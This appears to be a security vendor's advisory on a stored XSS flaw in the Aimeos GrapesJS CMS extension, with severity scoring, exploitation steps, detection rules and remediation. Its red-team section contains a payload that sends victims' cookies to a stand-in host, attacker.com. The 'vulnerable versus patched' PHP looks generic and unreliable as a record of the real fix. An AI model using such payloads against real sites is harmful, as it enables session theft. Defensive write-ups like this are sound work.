CVE-2025-66468
Executive Summary
CVE-2025-66468 is a stored Cross-Site Scripting (XSS) vulnerability in the Aimeos GrapesJS CMS extension. This extension provides a page editor for creating content pages based on extensible components. The vulnerability allows malicious editors to inject arbitrary JavaScript code into the page editor, which is then stored and executed when other users view the affected content. The attack is only possible if the standard Content Security Policy (CSP) is disabled. The vulnerability affects all versions prior to the patched releases: 2021.10.8, 2022.10.8, 2023.10.8, 2024.10.8, and 2025.10.8.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the Aimeos GrapesJS CMS extension, which is a PHP-based e-commerce framework. The extension is distributed via Composer (Packagist) and is part of the Aimeos ecosystem. Organizations using Aimeos with the GrapesJS CMS extension should verify their version and apply the patch immediately. The vulnerability does not affect the core Aimeos framework but only the CMS extension.
CVSS Breakdown & Threat Level
CVSS Score: 7.7 (High) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low – No special conditions are required for exploitation.
- Privileges Required (PR): Low – An attacker needs editor-level privileges to inject the malicious code.
- User Interaction (UI): Required – A victim must view the compromised page for the XSS to execute.
- Scope (S): Changed – The vulnerability can impact resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited information disclosure is possible.
- Integrity (I): Low – Limited data modification is possible.
- Availability (A): Low – Limited service disruption is possible.
Threat Level: High. While the EPSS score is 0.0%, indicating low exploitation likelihood currently, the vulnerability is in a CMS extension that allows content editing. If an attacker gains editor access, they can execute arbitrary JavaScript in the context of other users, potentially leading to session hijacking, defacement, or data theft.
Deep Dive & Mechanics
The Aimeos GrapesJS CMS extension uses the GrapesJS drag-and-drop page builder to allow editors to create and modify content pages. The vulnerability lies in the way user-supplied content is handled within the editor. When an editor inserts or modifies components (such as text blocks, images, or custom HTML), the extension does not properly sanitize or escape JavaScript code embedded in the component properties.
If the standard Content Security Policy (CSP) is disabled (which is a configuration option), the injected JavaScript is stored in the database and executed when any user (including administrators or visitors) views the page. The attack vector is a stored XSS, meaning the malicious payload persists across sessions.
The vulnerability is present in all versions prior to the patched releases. The fix involves proper input validation and output encoding to prevent JavaScript injection, as well as ensuring that the CSP is enforced by default.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-2021.10.8, etc.):
// In the component rendering logic
public function renderComponent($component) {
// Directly outputting user-supplied content without sanitization
echo '<div class="' . $component->getProperty('class') . '">';
echo $component->getContent(); // No escaping
echo '</div>';
}
Patched Code (2021.10.8, etc.):
// In the component rendering logic
public function renderComponent($component) {
// Properly escaping user-supplied content
$class = htmlspecialchars($component->getProperty('class'), ENT_QUOTES, 'UTF-8');
$content = htmlspecialchars($component->getContent(), ENT_QUOTES, 'UTF-8');
echo '<div class="' . $class . '">';
echo $content;
echo '</div>';
}
The patched code uses htmlspecialchars() to escape HTML entities, preventing the injection of JavaScript. Additionally, the CSP is now enforced by default, blocking inline scripts.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to an Aimeos instance with the GrapesJS CMS extension installed (version prior to 2021.10.8, etc.).
- Editor-level privileges on the CMS.
- The standard Content Security Policy must be disabled (default configuration may have it enabled).
Exploitation Steps:
- Log in to the Aimeos admin panel with an editor account.
- Navigate to the page editor (GrapesJS).
- Create a new page or edit an existing one.
- Insert a text component or custom HTML block.
- In the component's content, inject a JavaScript payload, e.g.:
Or a more sophisticated payload:<img src=x onerror=alert('XSS')><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the page.
- When any user (including administrators) views the page, the JavaScript executes.
Expected Outcome: The injected JavaScript executes in the context of the victim's browser, allowing the attacker to steal cookies, perform actions on behalf of the victim, or deface the page.
Blue Team
Detection:
- Monitor for unusual content being saved in the CMS, especially HTML containing
<script>tags or event handlers likeonerror,onload, etc. - Check web server logs for requests to the page editor endpoint with suspicious payloads.
- Use the detection rules provided in the Detection Engineering section.
Mitigation:
- Immediately update to the patched versions (2021.10.8, 2022.10.8, 2023.10.8, 2024.10.8, or 2025.10.8).
- Ensure the Content Security Policy is enabled and properly configured to block inline scripts.
- Review and sanitize all existing content in the CMS for potential XSS payloads.
- Implement input validation and output encoding for all user-supplied content.
Indicators of Compromise (IOCs)
Network Indicators:
- Outbound HTTP requests to known malicious domains from the Aimeos server.
- Unusual requests to the page editor API endpoints with encoded JavaScript payloads.
File Indicators:
- Modified or new page content files containing
<script>tags or event handlers. - Log entries showing editor actions with suspicious content.
- Modified or new page content files containing
Behavioral Indicators:
- Unexpected pop-ups or alerts when viewing CMS pages.
- Unauthorized changes to page content.
- Session hijacking or unusual account activity.
Detection Engineering
YARA Rule
rule CVE_2025_66468_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Aimeos GrapesJS CMS content"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-66468"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+["']?/i
$xss3 = /onload\s*=\s*["']?[^"'\s>]+["']?/i
$xss4 = /onclick\s*=\s*["']?[^"'\s>]+["']?/i
$xss5 = /javascript\s*:/i
condition:
any of ($xss*)
}
Sigma Rule
title: Stored XSS in Aimeos GrapesJS CMS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts in Aimeos GrapesJS CMS page editor
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-66468
logsource:
category: webserver
product: apache
detection:
selection:
http_method: 'POST'
url_path: '*/page-editor/save*'
body: '*<script*'
condition: selection
falsepositives:
- Legitimate use of JavaScript in page content (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-66468 Stored XSS in Aimeos GrapesJS CMS"; flow:to_server,established; content:"POST"; http_method; content:"/page-editor/save"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update the extension: Upgrade to the patched versions: 2021.10.8, 2022.10.8, 2023.10.8, 2024.10.8, or 2025.10.8.
- Enable Content Security Policy: Ensure the standard CSP is enabled in the Aimeos configuration. This blocks inline scripts and reduces the impact of XSS.
- Review existing content: Scan all existing pages and components for malicious JavaScript. Remove any suspicious content.
Long-term Measures:
- Implement a Web Application Firewall (WAF) to filter out XSS payloads.
- Conduct regular security audits of the CMS and its extensions.
- Train editors on secure content creation practices.
- Monitor for new vulnerabilities in the Aimeos ecosystem.
Workaround (if patching is not immediately possible):
- Disable the GrapesJS CMS extension temporarily.
- Restrict editor privileges to trusted users only.
- Manually sanitize all content before saving.
Valters IT
Securing Digital Ecosystems